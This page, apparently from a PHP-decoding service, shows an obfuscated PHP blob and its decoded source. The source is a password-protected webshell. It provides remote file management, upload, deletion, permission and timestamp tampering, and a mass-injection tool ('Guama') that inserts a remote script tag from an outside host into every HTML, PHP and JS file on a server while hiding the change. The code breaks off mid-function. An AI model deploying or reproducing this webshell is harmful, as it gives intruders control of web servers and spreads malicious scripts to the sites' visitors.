Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $dos="CgokcGFzc3dvcmQgPSAicmFvbWFvIjsvL8no1sPD3MLrCi8vLS0tLS0tLS0tLS0tLS0tLS0tLS0t..

Decoded Output download

<?php $password = "raomao"; //
//----------------------------------------------------------------------------------------------------2013-06-15

?> <?php
//----------------------------------------------------------------------------------------------------2013-06-15
error_reporting(E_ERROR);
header("content-Type: text/html; charset=gb2312");
set_time_limit(0);
function Root_GP($array) {
    while (list($key, $var) = each($array)) {
        if ((strtoupper($key) != $key || '' . intval($key) == "$key") && $key != 'argc' && $key != 'argv') {
            if (is_string($var)) $array[$key] = stripslashes($var);
            if (is_array($var)) $array[$key] = Root_GP($var);
        }
    }
    return $array;
}
function Root_CSS() {
    print <<<END
<style type="text/css">
	*{padding:0; margin:0;}
	body{background:threedface;font-family:"Verdana", "Tahoma", "",sans-serif; font-size:13px;margin-top:3px;margin-bottom:3px;table-layout:fixed;word-break:break-all;}
	a{color:#000000;text-decoration:none;}
	a:hover{background:#BBBBBB;}
	table{color:#000000;font-family:"Verdana", "Tahoma", "",sans-serif;font-size:13px;border:1px solid #999999;}
	td{background:#F9F6F4;}
	.toptd{background:threedface; width:310px; border-color:#FFFFFF #999999 #999999 #FFFFFF; border-style:solid;border-width:1px;}
	.msgbox{background:#FFFFE0;color:#FF0000;height:25px;font-size:12px;border:1px solid #999999;text-align:center;padding:3px;clear:both;}
	.actall{background:#F9F6F4;font-size:14px;border:1px solid #999999;padding:2px;margin-top:3px;margin-bottom:3px;clear:both;}
</style>\n
END;
    return false;
}
//
class packdir {
    var $out = '';
    var $datasec = array();
    var $ctrl_dir = array();
    var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
    var $old_offset = 0;
    function packdir($array) {
        if (@function_exists('gzcompress')) {
            for ($n = 0;$n < count($array);$n++) {
                $array[$n] = urldecode($array[$n]);
                $fp = @fopen($array[$n], 'r');
                $filecode = @fread($fp, @filesize($array[$n]));
                @fclose($fp);
                $this->filezip($filecode, basename($array[$n]));
            }
            @closedir($zhizhen);
            $this->out = $this->packfile();
            return true;
        }
        return false;
    }
    function at($atunix = 0) {
        $unixarr = ($atunix == 0) ? getdate() : getdate($atunix);
        if ($unixarr['year'] < 1980) {
            $unixarr['year'] = 1980;
            $unixarr['mon'] = 1;
            $unixarr['mday'] = 1;
            $unixarr['hours'] = 0;
            $unixarr['minutes'] = 0;
            $unixarr['seconds'] = 0;
        }
        return (($unixarr['year'] - 1980) << 25) | ($unixarr['mon'] << 21) | ($unixarr['mday'] << 16) | ($unixarr['hours'] << 11) | ($unixarr['minutes'] << 5) | ($unixarr['seconds'] >> 1);
    }
    function filezip($data, $name, $time = 0) {
        $name = str_replace('\\', '/', $name);
        $dtime = dechex($this->at($time));
        $hexdtime = '\x' . $dtime[6] . $dtime[7] . '\x' . $dtime[4] . $dtime[5] . '\x' . $dtime[2] . $dtime[3] . '\x' . $dtime[0] . $dtime[1];
        eval('$hexdtime = "' . $hexdtime . '";');
        $fr = "\x50\x4b\x03\x04";
        $fr.= "\x14\x00";
        $fr.= "\x00\x00";
        $fr.= "\x08\x00";
        $fr.= $hexdtime;
        $unc_len = strlen($data);
        $crc = crc32($data);
        $zdata = gzcompress($data);
        $c_len = strlen($zdata);
        $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
        $fr.= pack('V', $crc);
        $fr.= pack('V', $c_len);
        $fr.= pack('V', $unc_len);
        $fr.= pack('v', strlen($name));
        $fr.= pack('v', 0);
        $fr.= $name;
        $fr.= $zdata;
        $fr.= pack('V', $crc);
        $fr.= pack('V', $c_len);
        $fr.= pack('V', $unc_len);
        $this->datasec[] = $fr;
        $new_offset = strlen(implode('', $this->datasec));
        $cdrec = "\x50\x4b\x01\x02";
        $cdrec.= "\x00\x00";
        $cdrec.= "\x14\x00";
        $cdrec.= "\x00\x00";
        $cdrec.= "\x08\x00";
        $cdrec.= $hexdtime;
        $cdrec.= pack('V', $crc);
        $cdrec.= pack('V', $c_len);
        $cdrec.= pack('V', $unc_len);
        $cdrec.= pack('v', strlen($name));
        $cdrec.= pack('v', 0);
        $cdrec.= pack('v', 0);
        $cdrec.= pack('v', 0);
        $cdrec.= pack('v', 0);
        $cdrec.= pack('V', 32);
        $cdrec.= pack('V', $this->old_offset);
        $this->old_offset = $new_offset;
        $cdrec.= $name;
        $this->ctrl_dir[] = $cdrec;
    }
    function packfile() {
        $data = implode('', $this->datasec);
        $ctrldir = implode('', $this->ctrl_dir);
        return $data . $ctrldir . $this->eof_ctrl_dir . pack('v', sizeof($this->ctrl_dir)) . pack('v', sizeof($this->ctrl_dir)) . pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";
    }
}
function File_Str($string) {
    return str_replace('//', '/', str_replace('\\', '/', $string));
}
function File_Size($size) {
    if ($size > 1073741824) $size = round($size / 1073741824 * 100) / 100 . ' G';
    elseif ($size > 1048576) $size = round($size / 1048576 * 100) / 100 . ' M';
    elseif ($size > 1024) $size = round($size / 1024 * 100) / 100 . ' K';
    else $size = $size . ' B';
    return $size;
}
function File_Mode() {
    $RealPath = realpath('./');
    $SelfPath = $_SERVER['PHP_SELF'];
    $SelfPath = substr($SelfPath, 0, strrpos($SelfPath, '/'));
    return File_Str(substr($RealPath, 0, strlen($RealPath) - strlen($SelfPath)));
}
function File_Read($filename) {
    $handle = @fopen($filename, "rb");
    $filecode = @fread($handle, @filesize($filename));
    @fclose($handle);
    return $filecode;
}
function File_Write($filename, $filecode, $filemode) {
    $key = true;
    $handle = @fopen($filename, $filemode);
    if ([email protected]($handle, $filecode)) {
        @chmod($filename, 0666);
        $key = @fwrite($handle, $filecode) ? true : false;
    }
    @fclose($handle);
    return $key;
}
function File_Up($filea, $fileb) {
    $key = @copy($filea, $fileb) ? true : false;
    if (!$key) $key = @move_uploaded_file($filea, $fileb) ? true : false;
    return $key;
}
function File_Down($filename) {
    if (!file_exists($filename)) return false;
    $filedown = basename($filename);
    $array = explode('.', $filedown);
    $arrayend = array_pop($array);
    header('Content-type: application/x-' . $arrayend);
    header('Content-Disposition: attachment; filename=' . $filedown);
    header('Content-Length: ' . filesize($filename));
    @readfile($filename);
    exit;
}
function File_Deltree($deldir) {
    if (($mydir = @opendir($deldir)) == NULL) return false;
    while (false !== ($file = @readdir($mydir))) {
        $name = File_Str($deldir . '/' . $file);
        if ((is_dir($name)) && ($file != '.') && ($file != '..')) {
            @chmod($name, 0777);
            File_Deltree($name);
        }
        if (is_file($name)) {
            @chmod($name, 0777);
            @unlink($name);
        }
    }
    @closedir($mydir);
    @chmod($deldir, 0777);
    return @rmdir($deldir) ? true : false;
}
function File_Act($array, $actall, $inver) {
    if (($count = count($array)) == 0) return '';
    if ($actall == 'e') {
        $zip = new packdir;
        if ($zip->packdir($array)) {
            $spider = $zip->out;
            header("Content-type: application/unknown");
            header("Accept-Ranges: bytes");
            header("Content-length: " . strlen($spider));
            header("Content-disposition: attachment; filename=" . $inver . ";");
            echo $spider;
            exit;
        }
        return '';
    }
    $i = 0;
    while ($i < $count) {
        $array[$i] = urldecode($array[$i]);
        switch ($actall) {
            case "a":
                $inver = urldecode($inver);
                if (!is_dir($inver)) return '';
                $filename = array_pop(explode('/', $array[$i]));
                @copy($array[$i], File_Str($inver . '/' . $filename));
                $msg = '' . $inver . '';
                break;
            case "b":
                if ([email protected]($array[$i])) {
                    @chmod($filename, 0666);
                    @unlink($array[$i]);
                }
                $msg = '';
                break;
            case "c":
                if (!eregi("^[0-7]{4}$", $inver)) return '';
                $newmode = base_convert($inver, 8, 10);
                @chmod($array[$i], $newmode);
                $msg = '' . $inver;
                break;
            case "d":
                @touch($array[$i], strtotime($inver));
                $msg = '' . $inver;
                break;
            }
            $i++;
        }
        return '' . $msg . '';
}
function File_Edit($filepath, $filename, $dim = '') {
    $THIS_DIR = urlencode($filepath);
    $THIS_FILE = File_Str($filepath . '/' . $filename);
    if (file_exists($THIS_FILE)) {
        $FILE_TIME = @date('Y-m-d H:i:s', filemtime($THIS_FILE));
        $FILE_CODE = htmlspecialchars(File_Read($THIS_FILE));
    } else {
        $FILE_TIME = @date('Y-m-d H:i:s', time());
        $FILE_CODE = '';
    }
    print <<<END
<script language="javascript">
var NS4 = (document.layers);
var IE4 = (document.all);
var win = this;
var n = 0;
function search(str){
	var txt, i, found;
	if(str == "")return false;
	if(NS4){
		if(!win.find(str)) while(win.find(str, false, true)) n++; else n++;
		if(n == 0) alert(str + " ... Not-Find")
	}
	if(IE4){
		txt = win.document.body.createTextRange();
		for(i = 0; i <= n && (found = txt.findText(str)) != false; i++){
			txt.moveStart("character", 1);
			txt.moveEnd("textedit")
		}
		if(found){txt.moveStart("character", -1);txt.findText(str);txt.select();txt.scrollIntoView();n++}
		else{if (n > 0){n = 0;search(str)}else alert(str + "... Not-Find")}
	}
	return false
}
function CheckDate(){
	var re = document.getElementById('mtime').value;
	var reg = /^(\\d{1,4})(-|\\/)(\\d{1,2})\\2(\\d{1,2}) (\\d{1,2}):(\\d{1,2}):(\\d{1,2})$/; 
	var r = re.match(reg);
	if(r==null){alert('!:yyyy-mm-dd hh:mm:ss');return false;}
	else{document.getElementById('editor').submit();}
}
</script>
<div class="actall">: <input name="searchs" type="text" value="{$dim}" style="width:500px;">
<input type="button" value="" onclick="search(searchs.value)"></div>
<form method="POST" id="editor" action="?s=a&p={$THIS_DIR}">
<div class="actall"><input type="text" name="pfn" value="{$THIS_FILE}" style="width:750px;"></div>
<div class="actall"><textarea name="pfc" id style="width:750px;height:380px;">{$FILE_CODE}</textarea></div>
<div class="actall"> <input type="text" name="mtime" id="mtime" value="{$FILE_TIME}" style="width:150px;"></div>
<div class="actall"><input type="button" value="" onclick="CheckDate();" style="width:80px;">
<input type="button" value="" onclick="window.location='?s=a&p={$THIS_DIR}';" style="width:80px;"></div>
</form>
END;
    
}
function File_Soup($p) {
    $THIS_DIR = urlencode($p);
    $UP_SIZE = get_cfg_var('upload_max_filesize');
    $MSG_BOX = ':' . $UP_SIZE . ', (new.php),,.';
    if (!empty($_POST['updir'])) {
        if (count($_FILES['soup']) >= 1) {
            $i = 0;
            foreach ($_FILES['soup']['error'] as $key => $error) {
                if ($error == UPLOAD_ERR_OK) {
                    $souptmp = $_FILES['soup']['tmp_name'][$key];
                    if (!empty($_POST['reup'][$i])) $soupname = $_POST['reup'][$i];
                    else $soupname = $_FILES['soup']['name'][$key];
                    $MSG[$i] = File_Up($souptmp, File_Str($_POST['updir'] . '/' . $soupname)) ? $soupname . '' : $soupname . '';
                }
                $i++;
            }
        } else {
            $MSG_BOX = '';
        }
    }
    print <<<END
<div class="msgbox">{$MSG_BOX}</div>
<form method="POST" id="editor" action="?s=q&p={$THIS_DIR}" enctype="multipart/form-data">
<div class="actall">: <input type="text" name="updir" value="{$p}" style="width:531px;height:22px;"></div>
<div class="actall">1 <input type="file" name="soup[]" style="width:300px;height:22px;">  <input type="text" name="reup[]" style="width:130px;height:22px;"> $MSG[0] </div>
<div class="actall">2 <input type="file" name="soup[]" style="width:300px;height:22px;">  <input type="text" name="reup[]" style="width:130px;height:22px;"> $MSG[1] </div>
<div class="actall">3 <input type="file" name="soup[]" style="width:300px;height:22px;">  <input type="text" name="reup[]" style="width:130px;height:22px;"> $MSG[2] </div>
<div class="actall">4 <input type="file" name="soup[]" style="width:300px;height:22px;">  <input type="text" name="reup[]" style="width:130px;height:22px;"> $MSG[3] </div>
<div class="actall">5 <input type="file" name="soup[]" style="width:300px;height:22px;">  <input type="text" name="reup[]" style="width:130px;height:22px;"> $MSG[4] </div>
<div class="actall">6 <input type="file" name="soup[]" style="width:300px;height:22px;">  <input type="text" name="reup[]" style="width:130px;height:22px;"> $MSG[5] </div>
<div class="actall">7 <input type="file" name="soup[]" style="width:300px;height:22px;">  <input type="text" name="reup[]" style="width:130px;height:22px;"> $MSG[6] </div>
<div class="actall">8 <input type="file" name="soup[]" style="width:300px;height:22px;">  <input type="text" name="reup[]" style="width:130px;height:22px;"> $MSG[7] </div>
<div class="actall"><input type="submit" value="" style="width:80px;"> <input type="button" value="" onclick="window.location='?s=a&p={$THIS_DIR}';" style="width:80px;"></div>
</form>
END;
    
}
function File_a($p) {
    if (!$_SERVER['SERVER_NAME']) $GETURL = '';
    else $GETURL = 'http://' . $_SERVER['SERVER_NAME'] . '/';
    $MSG_BOX = '';
    $UP_DIR = urlencode(File_Str($p . '/..'));
    $REAL_DIR = File_Str(realpath($p));
    $FILE_DIR = File_Str(dirname(__FILE__));
    $ROOT_DIR = File_Mode();
    $THIS_DIR = urlencode(File_Str($REAL_DIR));
    $NUM_D = 0;
    $NUM_F = 0;
    if (!empty($_POST['pfn'])) {
        $intime = @strtotime($_POST['mtime']);
        $MSG_BOX = File_Write($_POST['pfn'], $_POST['pfc'], 'wb') ? ' ' . $_POST['pfn'] . ' ' : ' ' . $_POST['pfn'] . ' ';
        @touch($_POST['pfn'], $intime);
    }
    if (!empty($_FILES['ufp']['name'])) {
        if ($_POST['ufn'] != '') $upfilename = $_POST['ufn'];
        else $upfilename = $_FILES['ufp']['name'];
        $MSG_BOX = File_Up($_FILES['ufp']['tmp_name'], File_Str($REAL_DIR . '/' . $upfilename)) ? ' ' . $upfilename . ' ' : ' ' . $upfilename . ' ';
    }
    if (!empty($_POST['actall'])) {
        $MSG_BOX = File_Act($_POST['files'], $_POST['actall'], $_POST['inver']);
    }
    if (isset($_GET['md'])) {
        $modfile = File_Str($REAL_DIR . '/' . $_GET['mk']);
        if (!eregi("^[0-7]{4}$", $_GET['md'])) $MSG_BOX = '';
        else $MSG_BOX = @chmod($modfile, base_convert($_GET['md'], 8, 10)) ? ' ' . $modfile . '  ' . $_GET['md'] . ' ' : ' ' . $modfile . '  ' . $_GET['md'] . ' ';
    }
    if (isset($_GET['mn'])) {
        $MSG_BOX = @rename(File_Str($REAL_DIR . '/' . $_GET['mn']), File_Str($REAL_DIR . '/' . $_GET['rn'])) ? ' ' . $_GET['mn'] . '  ' . $_GET['rn'] . ' ' : ' ' . $_GET['mn'] . '  ' . $_GET['rn'] . ' ';
    }
    if (isset($_GET['dn'])) {
        $MSG_BOX = @mkdir(File_Str($REAL_DIR . '/' . $_GET['dn']), 0777) ? ' ' . $_GET['dn'] . ' ' : ' ' . $_GET['dn'] . ' ';
    }
    if (isset($_GET['dd'])) {
        $MSG_BOX = File_Deltree($_GET['dd']) ? ' ' . $_GET['dd'] . ' ' : ' ' . $_GET['dd'] . ' ';
    }
    if (isset($_GET['df'])) {
        if (!File_Down($_GET['df'])) $MSG_BOX = '';
    }
    Root_CSS();
    print <<<END
<script type="text/javascript">
	function Inputok(msg,gourl)
	{
		smsg = ":[" + msg + "]";
		re = prompt(smsg,unescape(msg));
		if(re)
		{
			var url = gourl + escape(re);
			window.location = url;
		}
	}
	function Delok(msg,gourl)
	{
		smsg = "[" + unescape(msg) + "]?";
		if(confirm(smsg))
		{
			if(gourl == 'b')
			{
				document.getElementById('actall').value = escape(gourl);
				document.getElementById('fileall').submit();
			}
			else window.location = gourl;
		}
	}
	function CheckDate(msg,gourl)
	{
		smsg = ":[" + msg + "]";
		re = prompt(smsg,msg);
		if(re)
		{
			var url = gourl + re;
			var reg = /^(\\d{1,4})(-|\\/)(\\d{1,2})\\2(\\d{1,2}) (\\d{1,2}):(\\d{1,2}):(\\d{1,2})$/; 
			var r = re.match(reg);
			if(r==null){alert('!:yyyy-mm-dd hh:mm:ss');return false;}
			else{document.getElementById('actall').value = gourl; document.getElementById('inver').value = re; document.getElementById('fileall').submit();}
		}
	}
	function CheckAll(form)
	{
		for(var i=0;i<form.elements.length;i++)
		{
			var e = form.elements[i];
			if (e.name != 'chkall')
			e.checked = form.chkall.checked;
		}
	}
	function SubmitUrl(msg,txt,actid)
	{
		re = prompt(msg,unescape(txt));
		if(re)
		{
			document.getElementById('actall').value = actid;
			document.getElementById('inver').value = escape(re);
			document.getElementById('fileall').submit();
		}
	}
</script>
	<div id="msgbox" class="msgbox">{$MSG_BOX}</div>
	<div class="actall" style="text-align:center;padding:3px;">
	<form method="GET"><input type="hidden" id="s" name="s" value="a">
	<input type="text" name="p" value="{$REAL_DIR}" style="width:550px;height:22px;">
	<select onchange="location.href='?s=a&p='+options[selectedIndex].value">
	<option>------</option>
	<option value="{$ROOT_DIR}">  </option>
	<option value="{$FILE_DIR}">  </option>
	<option value="C:/Documents and Settings/All Users///">  </option>
	<option value="C:/Documents and Settings/All Users/Start Menu/Programs/Startup">  </option>
	<option value="C:/RECYCLER"> RECYCLER </option>
	<option value="C:/Program Files"> Program Files </option>
	</select> <input type="submit" value="" style="width:50px;"></form>
	<div style="margin-top:3px;"></div>
	<form method="POST" action="?s=a&p={$THIS_DIR}" enctype="multipart/form-data">
	<input type="button" value="" onclick="Inputok('newfile.php','?s=p&fp={$THIS_DIR}&fn=');">
	<input type="button" value="" onclick="Inputok('newdir','?s=a&p={$THIS_DIR}&dn=');"> 
	<input type="button" value="" onclick="window.location='?s=q&p={$REAL_DIR}';"> 
	<input type="file" name="ufp" style="width:300px;height:22px;">
	<input type="text" name="ufn" style="width:121px;height:22px;">
	<input type="submit" value="" style="width:50px;">
	</form>
	</div>
	<form method="POST" name="fileall" id="fileall" action="?s=a&p={$THIS_DIR}">
	<table border="0"><tr>
	<td class="toptd" style="width:450px;"> <a href="?s=a&p={$UP_DIR}"><b></b></a> </td>
	<td class="toptd" style="width:80px;">  </td>
	<td class="toptd" style="width:48px;">  </td>
	<td class="toptd" style="width:173px;">  </td>
	<td class="toptd" style="width:75px;">  </td></tr>
END;
    if (($h_d = @opendir($p)) == NULL) return false;
    while (false !== ($Filename = @readdir($h_d))) {
        if ($Filename == '.' or $Filename == '..') continue;
        $Filepath = File_Str($REAL_DIR . '/' . $Filename);
        if (is_dir($Filepath)) {
            $Fileperm = substr(base_convert(@fileperms($Filepath), 10, 8), -4);
            $Filetime = @date('Y-m-d H:i:s', @filemtime($Filepath));
            $Filepath = urlencode($Filepath);
            echo "\r\n" . ' <tr><td> <a href="?s=a&p=' . $Filepath . '"><font face="wingdings" size="3">0</font><b> ' . $Filename . ' </b></a> </td> ';
            $Filename = urlencode($Filename);
            echo ' <td> <a href="#" onclick="Delok(\'' . $Filename . '\',\'?s=a&p=' . $THIS_DIR . '&dd=' . $Filename . '\');return false;">  </a> ';
            echo ' <a href="#" onclick="Inputok(\'' . $Filename . '\',\'?s=a&p=' . $THIS_DIR . '&mn=' . $Filename . '&rn=\');return false;">  </a> </td> ';
            echo ' <td> <a href="#" onclick="Inputok(\'' . $Fileperm . '\',\'?s=a&p=' . $THIS_DIR . '&mk=' . $Filename . '&md=\');return false;"> ' . $Fileperm . ' </a> </td> ';
            echo ' <td>' . $Filetime . '</td> ';
            echo ' <td> </td> </tr>' . "\r\n";
            $NUM_D++;
        }
    }
    @rewinddir($h_d);
    while (false !== ($Filename = @readdir($h_d))) {
        if ($Filename == '.' or $Filename == '..') continue;
        $Filepath = File_Str($REAL_DIR . '/' . $Filename);
        if (!is_dir($Filepath)) {
            $Fileurls = str_replace(File_Str($ROOT_DIR . '/'), $GETURL, $Filepath);
            $Fileperm = substr(base_convert(@fileperms($Filepath), 10, 8), -4);
            $Filetime = @date('Y-m-d H:i:s', @filemtime($Filepath));
            $Filesize = File_Size(@filesize($Filepath));
            if ($Filepath == File_Str(__FILE__)) $fname = '<font color="#8B0000">' . $Filename . '</font>';
            else $fname = $Filename;
            echo "\r\n" . ' <tr><td> <input type="checkbox" name="files[]" value="' . urlencode($Filepath) . '"><a target="_blank" href="' . $Fileurls . '">' . $fname . '</a> </td>';
            $Filepath = urlencode($Filepath);
            $Filename = urlencode($Filename);
            echo ' <td> <a href="?s=p&fp=' . $THIS_DIR . '&fn=' . $Filename . '">  </a> ';
            echo ' <a href="#" onclick="Inputok(\'' . $Filename . '\',\'?s=a&p=' . $THIS_DIR . '&mn=' . $Filename . '&rn=\');return false;">  </a> </td>';
            echo ' <td>' . $Fileperm . '</td> ';
            echo ' <td>' . $Filetime . '</td> ';
            echo ' <td align="right"> <a href="?s=a&df=' . $Filepath . '">' . $Filesize . '</a> </td></tr> ' . "\r\n";
            $NUM_F++;
        }
    }
    @closedir($h_d);
    if (!$Filetime) $Filetime = '2009-01-01 00:00:00';
    print <<<END
</table>
<div class="actall"> <input type="hidden" id="actall" name="actall" value="undefined"> 
<input type="hidden" id="inver" name="inver" value="undefined"> 
<input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form);"> 
<input type="button" value="" onclick="SubmitUrl(': ','{$THIS_DIR}','a');return false;"> 
<input type="button" value="" onclick="Delok('','b');return false;"> 
<input type="button" value="" onclick="SubmitUrl(': ','0666','c');return false;"> 
<input type="button" value="" onclick="CheckDate('{$Filetime}','d');return false;"> 
<input type="button" value="" onclick="SubmitUrl(': ','spider.tar.gz','e');return false;"> 
({$NUM_D}) / ({$NUM_F})</div> 
</form> 
END;
    return true;
}
//
function Guama_Pass($length) {
    $possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
    $str = "";
    while (strlen($str) < $length) $str.= substr($possible, (rand() % strlen($possible)), 1);
    return $str;
}
function Guama_Make($codea, $codeb, $codec) {
    return str_replace($codea, Guama_Pass($codeb), $codec);
}
function Guama_Auto($gp, $gt, $gl, $gc, $gm, $gf, $gi, $gk, $gd, $gb) {
    if (($h_d = @opendir($gp)) == NULL) return false;
    if ($gm > 12) return false;
    while (false !== ($Filename = @readdir($h_d))) {
        if ($Filename == '.' || $Filename == '..') continue;
        if ($gl != '') {
            if (eregi($gl, $Filename)) continue;
        }
        $Filepath = File_Str($gp . '/' . $Filename);
        if (is_dir($Filepath) && $gb) Guama_Auto($Filepath, $gt, $gl, $gc, $gm, $gf, $gi, $gk, $gd, $gb);
        if (eregi($gt, $Filename)) {
            $fc = File_Read($Filepath);
            if (($gk != '') && (stristr($fc, chop($gk)))) continue;
            if (($gf != '') && ($gm != 0)) $gcm = Guama_Make($gf, $gm, $gc);
            else $gcm = $gc;
            if ($gd) $ftime = @filemtime($Filepath);
            if ($gi == 'a') {
                if (!stristr($fc, '</head>')) continue;
                $fcm = str_replace('</head>', "\r\n" . $gcm . "\r\n" . '</head>', $fc);
                $fcm = str_replace('</HEAD>', "\r\n" . $gcm . "\r\n" . '</HEAD>', $fcm);
            }
            if ($gi == 'b') $fcm = $gcm . "\r\n" . $fc;
            if ($gi == 'c') $fcm = $fc . "\r\n" . $gcm;
            echo File_Write($Filepath, $fcm, 'wb') ? '<font color="#006600">:</font>' . $Filepath . ' <br>' . "\r\n" : '<font color="#FF0000">:</font>' . $Filepath . ' <br>' . "\r\n";
            if ($gd) @touch($Filepath, $ftime);
            ob_flush();
            flush();
        }
    }
    @closedir($h_d);
    return true;
}
function Guama_b() {
    if ((!empty($_POST['gp'])) && (!empty($_POST['gt'])) && (!empty($_POST['gc']))) {
        echo '<div class="actall">';
        $_POST['gt'] = str_replace('.', '\\.', $_POST['gt']);
        if ($_POST['inout'] == 'a') $_POST['gl'] = str_replace('.', '\\.', $_POST['gl']);
        else $_POST['gl'] = '';
        if (stristr($_POST['gc'], '[-') && stristr($_POST['gc'], '-]')) {
            $temp = explode('[-', $_POST['gc']);
            $gk = $temp[0];
            preg_match_all("/\[\-([^~]*?)\-\]/i", $_POST['gc'], $nc);
            if (!eregi("^[0-9]{1,2}$", $nc[1][0])) {
                echo '<a href="#" onclick="history.back();"></a>';
                return false;
            }
            $gm = (int)$nc[1][0];
            $gf = $nc[0][0];
        } else {
            $gk = $_POST['gc'];
            $gm = 0;
            $gf = '';
        }
        if (!isset($_POST['gx'])) $gk = '';
        $gd = isset($_POST['gd']) ? true : false;
        $gb = ($_POST['gb'] == 'a') ? true : false;
        echo Guama_Auto($_POST['gp'], $_POST['gt'], $_POST['gl'], $_POST['gc'], $gm, $gf, $_POST['gi'], $gk, $gd, $gb) ? '<a href="#" onclick="history.back();"></a>' : '<a href="#" onclick="history.back();"></a>';
        echo '</div>';
        return false;
    }
    $FILE_DIR = File_Str(dirname(__FILE__));
    $ROOT_DIR = File_Mode();
    print <<<END
<script language="javascript">
function Fulll(i)
{
	if(i==0) return false;
  Str = new Array(5);
  if(i <= 2){Str[1] = "{$ROOT_DIR}";Str[2] = "{$FILE_DIR}";sform.gp.value = Str[i];}
  else{Str[3] = ".htm|.html|.shtml";Str[4] = ".htm|.html|.shtml|.asp|.php|.jsp|.cgi|.aspx|.do";Str[5] = ".js";sform.gt.value = Str[i];}
  return true;
}
function autorun()
{
	if(document.getElementById('gp').value == ''){alert('');return false;}
	if(document.getElementById('gt').value == ''){alert('');return false;}
	if(document.getElementById('gc').value == ''){alert('');return false;}
	document.getElementById('sform').submit();
}
</script>
<form method="POST" name="sform" id="sform" action="?s=b">
<div class="actall" style="height:35px;"> <input type="text" name="gp" id="gp" value="{$ROOT_DIR}" style="width:500px;">
<select onchange='return Fulll(options[selectedIndex].value)'>
<option value="0" selected>----</option>
<option value="1"></option>
<option value="2"></option>
</select></div>
<div class="actall" style="height:35px;"> <input type="text" name="gt" id="gt" value=".htm|.html|.shtml" style="width:500px;">
<select onchange='return Fulll(options[selectedIndex].value)'>
<option value="0" selected>----</option>
<option value="3"></option>
<option value="4"></option>
<option value="5">JS</option>
</select></div>
<div class="actall" style="height:35px;"> <input type="text" name="gl" value="templet|templets|default|editor|fckeditor.html" style="width:500px;" disabled>
<input type="radio" name="inout" value="a" onclick="gl.disabled=false;"> <input type="radio" name="inout" value="b" onclick="gl.disabled=true;" checked></div>
<div class="actall"> <textarea name="gc" id="gc" style="width:610px;height:180px;">&lt;script language=javascript src="http://www.xsjyigecaodandedama.com/ad.js?[-6-]"&gt;&lt;/script&gt;</textarea>
<div class="msgbox">: [-6-],,6,12,[-6-].
<br>: &lt;script language=javascript src="http://www.xsjyigecaodandedama.com/ad.js?EMTDSU"&gt;&lt;/script&gt;</div></div>
<div class="actall" style="height:35px;"><input type="radio" name="gi" value="a" checked>&lt;/head&gt; 
<input type="radio" name="gi" value="b"> 
<input type="radio" name="gi" value="c"></div>
<div class="actall" style="height:30px;"><input type="checkbox" name="gx" value="1" checked> <input type="checkbox" name="gd" value="1" checked></div>
<div class="actall" style="height:50px;"><input type="radio" name="gb" value="a" checked>,
<br><input type="radio" name="gb" value="b"></div>
<div class="actall"><input type="button" value="" style="width:80px;height:26px;" onclick="autorun();"></div>
</form>
END;
    return true;
}
//
function Qingma_Auto($qp, $qt, $qc, $qd, $qb) {
    if (($h_d = @opendir($qp)) == NULL) return false;
    while (false !== ($Filename = @readdir($h_d))) {
        if ($Filename == '.' || $Filename == '..') continue;
        $Filepath = File_Str($qp . '/' . $Filename);
        if (is_dir($Filepath) && $qb) Qingma_Auto($Filepath, $qt, $qc, $qd, $qb);
        if (eregi($qt, $Filename)) {
            $ic = File_Read($Filepath);
            if (!stristr($ic, $qc)) continue;
            $ic = str_replace($qc, '', $ic);
            if ($qd) $ftime = @filemtime($Filepath);
            echo File_Write($Filepath, $ic, 'wb') ? '<font color="#006600">:</font>' . $Filepath . ' <br>' . "\r\n" : '<font color="#FF0000">:</font>' . $Filepath . ' <br>' . "\r\n";
            if ($qd) @touch($Filepath, $ftime);
            ob_flush();
            flush();
        }
    }
    @closedir($h_d);
    return true;
}
function Qingma_c() {
    if ((!empty($_POST['qp'])) && (!empty($_POST['qt'])) && (!empty($_POST['qc']))) {
        echo '<div class="actall">';
        $qt = str_replace('.', '\\.', $_POST['qt']);
        $qd = isset($_POST['qd']) ? true : false;
        $qb = ($_POST['qb'] == 'a') ? true : false;
        echo Qingma_Auto($_POST['qp'], $qt, $_POST['qc'], $qd, $qb) ? '<a href="#" onclick="history.back();"></a>' : '<a href="#" onclick="history.back();"></a>';
        echo '</div>';
        return false;
    }
    $FILE_DIR = File_Str(dirname(__FILE__));
    $ROOT_DIR = File_Mode();
    print <<<END
<script language="javascript">
function Fullll(i){
	if(i==0) return false;
  Str = new Array(5);
  if(i <= 2){Str[1] = "{$ROOT_DIR}";Str[2] = "{$FILE_DIR}";xform.qp.value = Str[i];}
	else{Str[3] = ".htm|.html|.shtml";Str[4] = ".htm|.html|.shtml|.asp|.php|.jsp|.cgi|.aspx|.do";Str[5] = ".js";xform.qt.value = Str[i];}
  return true;
}
function autoup(){
	if(document.getElementById('qp').value == ''){alert('');return false;}
	if(document.getElementById('qt').value == ''){alert('');return false;}
	if(document.getElementById('qc').value == ''){alert('');return false;}
	document.getElementById('xform').submit();
}
</script>
<form method="POST" name="xform" id="xform" action="?s=c">
<div class="actall" style="height:35px;"> <input type="text" name="qp" id="qp" value="{$ROOT_DIR}" style="width:500px;">
<select onchange='return Fullll(options[selectedIndex].value)'>
<option value="0" selected>----</option>
<option value="1"></option>
<option value="2"></option>
</select></div>
<div class="actall" style="height:35px;"> <input type="text" name="qt" id="qt" value=".htm|.html|.shtml" style="width:500px;">
<select onchange='return Fullll(options[selectedIndex].value)'>
<option value="0" selected>----</option>
<option value="3"></option>
<option value="4">+</option>
<option value="5">JS</option>
</select></div>
<div class="actall"> <textarea name="qc" id="qc" style="width:610px;height:180px;">&lt;script language=javascript src="http://www.xsjyigecaodandedama.com/ad.js"&gt;&lt;/script&gt;</textarea></div>
<div class="actall" style="height:30px;"><input type="checkbox" name="qd" value="1" checked></div>
<div class="actall" style="height:50px;"><input type="radio" name="qb" value="a" checked>,
<br><input type="radio" name="qb" value="b"></div>
<div class="actall"><input type="button" value="" style="width:80px;height:26px;" onclick="autoup();"></div>
</form>
END;
    return true;
}
//
function Tihuan_Auto($tp, $tt, $th, $tca, $tcb, $td, $tb) {
